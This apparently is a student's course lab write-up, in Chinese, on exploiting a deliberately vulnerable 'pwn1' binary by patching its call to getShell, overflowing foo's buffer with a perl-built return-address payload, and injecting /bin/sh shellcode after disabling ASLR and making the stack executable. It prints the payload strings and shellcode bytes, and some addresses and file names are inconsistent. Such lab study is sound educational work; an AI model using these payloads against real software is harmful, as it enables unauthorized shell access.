20242816 2024-2025-2 《网络攻防实践》第9次作业

20242816 2024-2025-2 《网络攻防实践》第9次作业

1 实验要求

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

1.2 三个实践内容如下:

①手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
②利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③注入一个自己制作的shellcode并运行这段shellcode。

1.3 实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击

1.4 基础知识

汇编

汇编是一种面向机器的低级编程语言,用于直接与计算机硬件进行交互。它通过使用助记符代替机器指令中的二进制代码,使程序员能够控制寄存器、内存地址和指令执行流程。每种处理器体系结构都有自己专属的汇编语言,如x86、ARM等。汇编程序需要通过汇编器转换为机器代码才能运行。它通常用于底层系统开发,如驱动程序、引导程序或对性能和资源要求极高的场合。

反汇编

反汇编是将机器码还原为对应的汇编语言指令的过程,常用于软件调试、漏洞分析与逆向工程。由于源代码不可得,程序员可以通过反汇编工具观察程序的底层逻辑和控制流。反汇编能揭示程序调用的函数、寄存器操作及跳转流程,但不能完全还原原始代码结构,特别是变量名和注释信息。它是分析恶意代码和破解软件的重要手段之一。

BOF漏洞

Buffer Overflow,缓冲区溢出漏洞。是指程序在向缓冲区写入数据时,未检查长度导致数据超出预定范围,覆盖了相邻的内存区域。攻击者可利用该漏洞修改程序控制流,比如篡改返回地址,执行恶意代码。BOF漏洞常见于使用C语言编写、缺乏边界检查的函数中。它是软件安全中的高危漏洞类型,广泛应用于攻击提权、获取系统控制权等场景。

2 实验过程

输入hostnamectl set-hostname 20242816tzh用来将主机名改为自己的名字

2.1 实验一

2.1.1 输入objdump -d pwn20242816 | more对文件pwn20242816进行反汇编

2.1.2 一直按住回车向下翻,找到getShell,foo和主函数main,我们需要让它在主函数中执行getShell函数

2.1.3 可以看到main函数在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式,其中80484ba+d7ffffff=8048491因此我们只需要将d7ffffff改为跳转804847d对应的补码804847d-80484ba=c3ffffff即可。

2.1.4 输入vim pwn20241903编辑可执行文件,输入:%!xxd切换16进制的显示模式。

2.1.5 找到d7ffffff修改为c3ffffff

2.1.6 输入:%! xxd -r回到原格式再保存退出


2.1.7 输入objdump -d pwn20242816 | more查看修改结果,可以看到修改成功,调用getshell函数

2.2 实验二

2.2.1 输入objdump -d pwn1 | more反汇编查看没有修改过的文件

2.2.2 输入gdb pwn1进入gdb模式,输入r开始尝试运行pwn1,利用Buffer Overflow漏洞,输入aaaaaaaaaaaaaaabbbbbbbbbbbbbbbbbbbbccccccccccccccccccc

2.2.3 输入最大为28字符,多了就会溢出,覆盖到eip中去。我们可以利用这个来更改程序执行指令。

2.2.4 getShell的内存地址是0804847d,又由于输入是倒序存储,因此我们应该写入11111111222222223333333344444444\x7d\x84\x04\x08

输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input将这个字符串放入一个叫input的文件中。

2.2.5 输入xxd input查看输入文件

2.2.6 输入(cat input; cat) | ./pwn1,将input中的输入通过管道输入pwn1中,输入ls,发现文件出现在ls列表中

实验三

2.3.1 安装execstack包,在windows中直接下载execstack_0.0.20131005-1+b10_amd64.deb,在复制到kali中部署

2.3.2 通过execstack将将堆栈设置为可执行状态,输入execstack -s pwn1设置堆栈可执行,输入execstack -q pwn1查询文件的堆栈是否可执行。

2.3.3 输入echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化,确保注入的 shellcode 在固定地址运行,输入more /proc/sys/kernel/randomize_va_space检测

2.3.4 构造一个包含填充字节、占位符地址、NOP 滑动区域和实际 shellcode 的输入字符串,并将其保存到文件中,同样将input_shellcode的输入内容作为pwn20242816的输入

2.3.5 打开一个新的终端查看pwn20242816文件

2.3.6 使用 gdb 附加到目标程序的进程中,可以看到进程为26311,输入disassemble foo设置断点:break *0x080484ae

2.3.7 c运行,info r esp此时栈顶指针所在的位置为 0xffffcf5c,因此shellcode的地址就是0xbfffcf60

2.3.8 输入:perl -e 'print "A" x 32;print "\x60\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,可以看到ls成功显示桌面内容,成功获取shell,实验成功

3 学习中遇到的问题及解决

问题:无法使用sudo apt install execstack获取execstack的包

解决:在主机上下载包,复制到kali中进行本地部署

4 实践总结

通过本次实验,我重新复习了汇编相关的知识,同时对网络攻防的计算机系统底层机制有了更深的理解,通过修改程序返回、溢出等等就可以进行对主机的攻击以及权限的获取,我深刻认识到程序安全的重要性,程序代码的保护,及时使用不定,保护我们主机的安全,防止被黑客攻击,让我更深刻意识到网络安全的重要性。

5 参考资料

https://blog.csdn.net/u013782446/article/details/138595256

posted @ 2025-05-08 10:51  N0rmally  阅读(31)  评论(0)    收藏  举报